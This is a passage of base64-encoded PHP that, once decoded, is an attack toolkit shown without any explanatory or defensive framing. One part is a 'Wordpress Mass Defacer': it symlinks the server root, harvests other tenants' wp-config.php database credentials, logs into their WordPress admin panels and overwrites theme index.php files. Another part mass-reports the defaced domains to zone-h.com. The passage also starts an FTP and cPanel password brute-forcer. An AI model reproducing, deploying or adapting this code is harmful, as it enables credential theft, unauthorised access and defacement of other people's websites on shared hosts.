RwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJG